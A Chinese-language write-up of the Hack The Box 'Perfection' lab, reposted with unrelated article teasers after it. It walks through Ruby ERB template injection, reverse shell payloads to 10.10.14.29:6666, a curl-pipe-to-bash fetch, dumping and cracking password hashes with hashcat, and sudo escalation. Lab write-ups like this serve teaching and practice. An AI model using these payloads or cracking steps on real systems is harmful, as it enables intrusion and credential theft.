HTB靶场 Perfection

端口 打开了ssh和http服务

访问 Perfection靶机的网站

是一个根据权重计算总成绩的网站

Wappalyzer查看网页用的什么编写搭建的

抓包看一下是怎么工作的

发送,,返回的结果

如果我在 类别 后面多加一句命令

就会出现提示  恶意输入阻止

大概率有命令注入

通过插件知道用的ruby语言

存在SSTI(模板注入漏洞)

SSTI (Server Side Template Injection) | HackTricks | HackTricks

%0A是截断符号,它可以使bash在读取代码时读到这个符号时停止读取这一行的后续代码,取而代之的是接着执行后面的代码

在传参中url编码会自动忽略空格要用“+”来代替上述语句

将payload使用base64编码来进行嵌套,为了避免后面可能会有一些关键字过滤

url encode key characte编码

aaa%0A<%25%3d+File.open('/etc/passwd').read+%25>

把<%= File.open('/etc/passwd').read %> 选中右键选择Convert Selection选择url 选择url encode key character  就得到<%25%3d+File.open('/etc/passwd').read+%25>

有一个susan用户

拿shell第一次失败,再次重试就成功了

<%= `bash -c 'bash -i >& /dev/tcp/10.10.14.29/6666 0>&1'` %>

-c 运行后边的字符串命令

bash -i (交互式) 启动一个交互式bash shell

>& 将这个shell的标准输出和标准错误输出都重定向到 与IP地址10.10.14.29在端口6666上建立的TCP连接中
/dev/tcp打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,/dev/tcp/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口

0标准输入 重定向 >& 1标准输出

把它url encode key character 得到

<%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'`+%25>

然后category1=

ingles%0A<%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'`+%25>

拿到shell了

拿shell第二次失败

 写个1.sh  内容为 
bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

开启http服务

python3 -m http.server 80 

把<%= `curl http://10.10.14.29/1.sh|bash` %>编码
<%25%3d+`curl+http://10.10.14.29/1.sh|bash`+%25>

还是失败  状态码应该是504不是200

拿shell第三次失败

HTB靶机渗透之perfection(linux-easy)超详细!!!_webrick 1.7.0 漏洞-CSDN博客

在burp的 decoder模块编码

由于这个代码在输入网页后,发送到服务器前会被自动url编码,所以我们要对对应的字符手动进行url编码  

%25对应的是%

aaa%0a<%25恶意代码%25>;

要让base64格式的payload能被正确在bash中读取,在linux系统中,我们可以通过echo来写入文件或是执行命令,然后调用base64 -d来解析payload,最后再用bash执行,“|”符号的作用就是分割语句

其余恶意代码=echo+[payload]|+base64+-d+|+bash   (+表示空格)
总的 category1=

aaa%0a<%25=system("echo+payload|+base64+-d+|+bash);%25>;

写一段反弹shell代码#!/bin/bash bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

经过base64编码

拿到用户的flag

现在就要提权了

.sudo_as_admin_successful 我们只有读写,不能执行

ssh密钥登录没必要尝试

SSH 使用密钥远程登录_ssh用密钥登录-CSDN博客

接着看.ssh目录有2个文件(都可以读写)  ssh是密钥登录

authorized.keys是密钥对中的公钥

authorized_keys用于存储允许通过 SSH 访问特定用户帐户的公钥。当用户尝试通过 SSH 连接到服务器时,服务器会使用此文件中的公钥验证用户的身份

查看/etc/ssh/sshd_config

PubkeyAuthentication  yes表示允许密钥访问

susan服务器生成密钥对ssh-keygen

服务器安装公钥 cat id_rsa.pub >> authorized_keys

私钥./id_rsa拷贝到客户端

然后我觉得就算登录成功,ssh依然是susan的shell

换思路

sudo -l  列出当前用户可以执行的sudo命令   执行不了sudo需要密码

查找具有suid的权限 

-type f 仅查找文件

有fusermount3  查看版本fusermount3 --version
fusermount3 version: 3.10.5

fusermount3没有漏洞可以利用

查找.txt、.db、.sql、.dump文件

寻找和password有关的文件 grep -i password -R

grep是文本搜索工具 -i不区分大小写 -R递归搜索,查找目录下的所有子目录

find / -name "*.db" -type f 2>/dev/nul

/home/susan/Migration/pupilpath_credentials.db是数据库文件

靶机上虽然有sqlite3 但是不会显示任何内容

试试 创造一个交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

成功显示交互内容

sqlite3 .db

.table

select * from users;

得到

1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8

没实验过

或者把db文件下载到自己的机器

开启http服务  curl上传文件到127.0.0.1

curl -F "file=@pupilpath_credentials.db" http://127.0.0.1 

查看包含用户名的文件

find / -name "*susan*" -type f -ls 2>/dev/null

cat /var/mail/susan

所以说密码格式

susan(名)_nasus(名字反过来)_一串数字

hash-identifier hash码

可以判断hash加密的算法是啥 sha256

hashcat

参考HTB Perfection_perfection htb-CSDN博客

 hashcat -m 1400 -a 3 -i --increment-min=1 --increment-max=10 hash.txt 'susan_nasus_?d?d?d?d?d?d?d?d?d?d'

-m 1400 描述了哈希类型(SHA256)  0是MD5
-a 3 使用掩码模式
-i 以及 --increment-min=1 和 --increment-max=10 指定你要爆破的最小和最大长度
?d?d?d?d?d?d?d?d?d?d 是一个掩码字符串,用于生成尝试的密码  ?d 表示一位数字

我的虚拟机内存不够 

然后我就直接 看其他人的

susan_nasus_413759210

然后ssh登录 ssh susan@10.10.11.253

sudo -i 就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/572271.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

解决宏定义后面无法加分号

总结&#xff1a;注意是针对单行if语句使用&#xff0c;并且宏定义后面必须带分号&#xff08;格式统一&#xff09; 参考连接 C语言种do_while(0)的妙用_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1vk4y1R7VJ/?spm_id_from333.337.search-card.all.click&vd_…

2万8金句美句格言签名句子ACCESS\EXCEL数据库

优美句子类的数据已经有《33万多优美句子经典句子ACCESS数据库》、《近2万签名的句子网络签名ACCESS数据库》、《24万QQ伤感签名微信签名ACCESS数据库》、《2万多条QQ签名论坛签名大全ACCESS数据库》&#xff0c;今天又遇到一个&#xff0c;感觉也很不错&#xff0c;发上来看看…

pip安装的python包放在哪里了?—— ubuntu系统

1 pip 安装了哪些包 2 包安装在哪里了 thirty-twott:~/Desktop$ pip show openai Name: openai Version: 1.19.0 Summary: The official Python library for the openai API Home-page: Author: Author-email: OpenAI <supportopenai.com> License: Location: /ho…

Cairo

文章目录 关于 Cairo 关于 Cairo 官网&#xff1a;https://cairographics.org官方文档&#xff1a;https://cairographics.org/documentation/ Cairo是一个支持多个输出设备的2D图形库。 当前支持的输出目标 包括 X Window System&#xff08;通过Xlib 和 XCB&#xff09;、Qu…

Gartner发布攻击面管理创新洞察:CTEM、VA、EASM、CAASM、ASA、DRPS、BAS、VM等攻击面管理相关技术及关系

安全运营团队负责管理跨内部和外部数字资产的复杂攻击面。这项研究概述了攻击面评估空间&#xff0c;以帮助安全和风险管理领导者驾驭技术并改善其安全状况。 主要发现 随着本地和云中的技术环境变得越来越复杂和分散&#xff0c;组织必须管理不断增长的攻击面。 SaaS 应用程序…

wordpress 突然报错Error establishing a database connection

wordpress 突然报错Error establishing a database connection 通过在宝塔端多种方式检测测&#xff0c;查看到时Mysql服务挂了&#xff0c;重启Mysql即可

cad中快速计算多个矩形面积的方法

1、输入命令reg&#xff0c;选中矩形创建面域 2、输入命令uni,选中刚刚创建的面域&#xff0c;组合成一个面域 3、输入命令&#xff1a;LI &#xff0c;选中面域&#xff0c;即可查看面积和周长 需注意的一点&#xff0c;开始创建的矩形或者多段线要在一个面内&#xff0c;就是…

OpenCV——Bernsen局部阈值二值化方法

目录 一、Bernsen算法1、算法概述2、参考文献二、代码实现三、结果展示Bernsen局部阈值二值化方法由CSDN点云侠原创,爬虫自重。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫。 一、Bernsen算法 1、算法概述 Bernsen 算法是另一种流行的局部阈值二值化方…

美硕科技授权世强硬创代理,继电器具备控制功率小、电磁干扰小特点

受工业自动化、智能制造、物联网以及可再生能源等领域发展的推动&#xff0c;全球继电器市场在过去几年中持续增长&#xff0c;预计未来几年将继续保持这一趋势。 为满足日益增长的市场需求&#xff0c;世强先进&#xff08;深圳&#xff09;科技股份有限公司&#xff08;下称…

摸龙头 交好运 五一就来龙卦山加载好运吧!

龙卦山国风嘉年华又又又来啦&#xff01; 让我看看是谁还没有上车&#xff01;赶紧把五一的行程安排起来&#xff01; 甲辰龙年全新玩法等你来解锁&#xff01; 准备好了吗&#xff0c;接下来跟我一起开启你在龙卦山的一天&#xff01; 五一特种兵的早八时间 8:00AM - 8:00…

Cooper在线协同插件:赋能团队,共筑高效协作新篇章

在数字化浪潮席卷全球的今天&#xff0c;高效协作已成为项目成功的关键要素。为了满足现代团队对协作的迫切需求&#xff0c;我们隆重推出Cooper在线协同插件——一款专为代码项目协作量身打造的精英级工具。凭借卓越的安全性、高效性和易用性&#xff0c;Cooper正迅速成为团队…

代理IP供应商的代理池大小怎么看?

代理池作为网络爬虫、数据采集和隐私保护等领域中的重要工具&#xff0c;扮演着连接真实网络和爬虫之间的桥梁。代理池的大小是影响其性能和可用性的关键因素之一。在这篇文章中&#xff0c;我们将深入探讨代理池的大小对业务的影响&#xff0c;并探讨在不同情况下如何选择合适…

代理IP干货:如何正确使用防范风险?

在今天的数字时代&#xff0c;代理IP地址已成为互联网世界中不可或缺的一部分。无论您是寻求绕过地理限制、保护个人隐私还是执行网络任务&#xff0c;代理IP地址都发挥着关键作用。我们将为您探讨代理IP地址的重要性以及如何防范潜在的风险和威胁。 一、代理IP地址的潜在风险 …

【OceanBase系列】—— 常用运维操作(备忘)

作者简介&#xff1a; 花名&#xff1a;绪宁&#xff0c;OceanBase 数据库解决方案架构师 创建租户 方法一&#xff1a;OCP 创建 确认可分配资源 具体可以分配多少内存&#xff0c;可以通过【资源管理】查看各节点的剩余资源 2. 新建租户 3. 填写租户信息 zone 优先级主要是 p…

WMS系统如何满足多种仓储模式需求

一、WMS系统的基本功能 WMS系统通常具备以下基本功能&#xff1a;入库管理、出库管理、库存管理、订单管理、报表分析等。这些功能能够实现对仓库内货物的实时监控、追踪和查询&#xff0c;确保货物的准确、高效流通。 二、WMS系统如何适应不同的仓储模式 静态仓储模式 静态…

PyCharm开发工具安装plugins插件

一. 简介 通过前面的学习&#xff0c;我们知道 python开发常用的一个开发工具&#xff08;即IDE&#xff09;是 PyCharm。 本文来简单介绍一下&#xff0c;PyCharm开发工具是如何安装 plugins插件的。其实与 vscode软件安装插件类似。 本文来学习 PyCharm开发工具安装一个中…

Github2024-04-25 开源项目日报Top10

根据Github Trendings的统计,今日(2024-04-25统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Python项目4非开发语言项目2TypeScript项目2PowerShell项目1C++项目1Dart项目1JavaScript项目1GPT4All: 在边缘运行开源大型语言模型 创建周期:…

【数据结构(邓俊辉)学习笔记】向量04——有序向量

文章目录 0.概述1.比较器2.有序性甄别3.唯一化3.1低效算法3.1.1实现3.1.2 复杂度3.1.3 改进思路3.2 高效算法3.2.1 实现3.2.2 复杂度 4.查找4.1统一接口4.2 语义定义4.3 二分查找4.3.1 原理4.3.2 实现4.3.3 复杂度4.3.4 查找长度4.3.5 不足 4.4 Fibonacci查找4.4.1 改进思路4.4…

项目_预览和模拟器运行_真机运行鸿蒙应用---HarmonyOS4.0+鸿蒙NEXT工作笔记002

然后再来看如何使用预览,可以看到 右侧有个preview,点开就可以了 然后再有一个tools,这里 Device Manager,这个是模拟器 点开以后可以看到让我们连接,本地模拟器,还是远程模拟器,还是远程设备 这里我们选择phone 如果选择remote device,这个需要登录华为账号,会自动弹出来登…

PyTorch深度解析:Tensor——神经网络的核心构建块

在深度学习和神经网络的研究与应用中&#xff0c;Tensor&#xff08;张量&#xff09;无疑是一个核心概念。特别是在PyTorch这一强大的深度学习框架中&#xff0c;Tensor更是扮演了举足轻重的角色。本文将深入探讨PyTorch中的Tensor&#xff0c;从其基本定义、特性、操作到实际…
最新文章